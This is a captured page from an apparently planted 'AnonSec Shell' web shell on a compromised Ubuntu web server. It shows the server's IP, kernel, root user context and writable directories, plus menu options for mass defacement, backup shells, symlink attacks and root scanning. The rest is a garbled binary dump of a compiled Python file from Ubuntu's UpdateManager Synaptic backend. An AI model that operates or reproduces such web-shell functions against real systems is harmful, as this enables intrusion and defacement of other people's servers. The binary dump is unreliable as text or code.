AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/UpdateManager/backend/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/UpdateManager/backend/__pycache__/InstallBackendSynaptic.cpython-310.pyc
o

z��c��@slddlZddlZddlmZddlZe�dd�ddlmZddlmZeddl	m
Z
Gdd	�d	e
�ZdS)
�N)�gettext�Gtkz3.0)�GObject)�GdkX11)�InstallBackendc@s4eZdZdZdd�Z	ddd�Zdd�Zd	d
�ZdS)
�InstallBackendSynapticz# Install backend based on synaptic cCsdg}d}|�|j||�dS)Nz--update-at-startup)�
_run_synaptic�
ACTION_UPDATE)�self�opt�tempf�r
�N/usr/lib/python3/dist-packages/UpdateManager/backend/InstallBackendSynaptic.py�updateszInstallBackendSynaptic.updateFcCs�g}|r|�d�|�d�|�d�|�dtd��|�d�|�dtd��tjdd	�}||D]	}|�d
|�q4|D]	}|�d|�q@|�d�|�d|j�|��|�|j||�dS)
Nz-ozSynaptic::closeZvt=truez--progress-str�%sz%Please wait, this can take some time.z--finish-strzUpdate is completezw+)�modez%s	install
z
%s	deinstall
z--set-selections-file)	�append�_�tempfile�NamedTemporaryFile�write�name�flushr�ACTION_INSTALL)r
�pkgs_install�pkgs_upgrade�pkgs_remove�
close_on_donerr�pkg_namer
r
r�commits"




zInstallBackendSynaptic.commitcCs�|j��}z|��}Wntyd}Ynwdddddd|g}|�|�tj}tj||d�\}}	}
}||f|_t�	||j
|j�d	S)
zExecute synaptic.rz/usr/bin/pkexecz/usr/sbin/synapticz--hide-main-windowz--non-interactivez--parent-window-idr)�flagsN)�window_main�
get_window�get_xid�AttributeError�extendr�SPAWN_DO_NOT_REAP_CHILD�spawn_async�
child_data�child_watch_add�_on_synaptic_exit)r
�actionrr�win�xid�cmdr �pid�stdin�stdout�stderrr
r
rr4s
��

z$InstallBackendSynaptic._run_synapticcCs6|\}}|r
|��|j|dt�|�dkddd�dS)NTr)�
authorized�success�error_string�
error_desc)�close�_action_done�os�WEXITSTATUS)r
r/�	condition�datar+rr
r
rr*Gs
�z(InstallBackendSynaptic._on_synaptic_exitN)F)�__name__�
__module__�__qualname__�__doc__rrrr*r
r
r
rrs
�r)r9rrr�gi�require_version�
gi.repositoryrr�UpdateManager.backendrrr
r
r
r�<module>s

Anon7 - 2022
AnonSec Team